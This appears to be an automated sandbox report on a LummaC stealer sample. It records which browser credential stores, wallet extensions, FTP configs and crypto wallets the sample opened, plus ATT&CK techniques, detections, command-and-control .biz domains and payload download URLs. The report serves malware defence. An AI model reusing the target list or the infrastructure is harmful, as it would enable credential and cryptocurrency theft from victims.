Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7292, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	11 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://atten-supporse.biz/=&0	100%	Avira URL Cloud	malware
https://atten-supporse.biz/api;.EX	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exep	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.16.9	true	false	high
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_109.12.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1513174027.0000000005683000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/=&0	file.exe, 00000000.00000003.1382956160.0000000005690000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_109.12.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_109.12.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_101.12.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_109.12.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_109.12.dr	false		high
http://185.215.113.16/off/def.exez	file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_109.12.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exep	file.exe, 00000000.00000002.1735076289.0000000000B7A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learn-video.azurefd.net/vod/player	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/gewarren	chromecache_109.12.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_109.12.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_109.12.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_109.12.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/certhelp	chromecache_90.12.dr, chromecache_101.12.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1472695243.0000000005685000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api;.EX	file.exe, 00000000.00000003.1513237611.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mairaw	chromecache_109.12.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_101.12.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_109.12.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_109.12.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/adegeo	chromecache_109.12.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.1513237611.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516525015.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1513174027.0000000005683000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_90.12.dr, chromecache_101.12.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1472695243.0000000005685000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
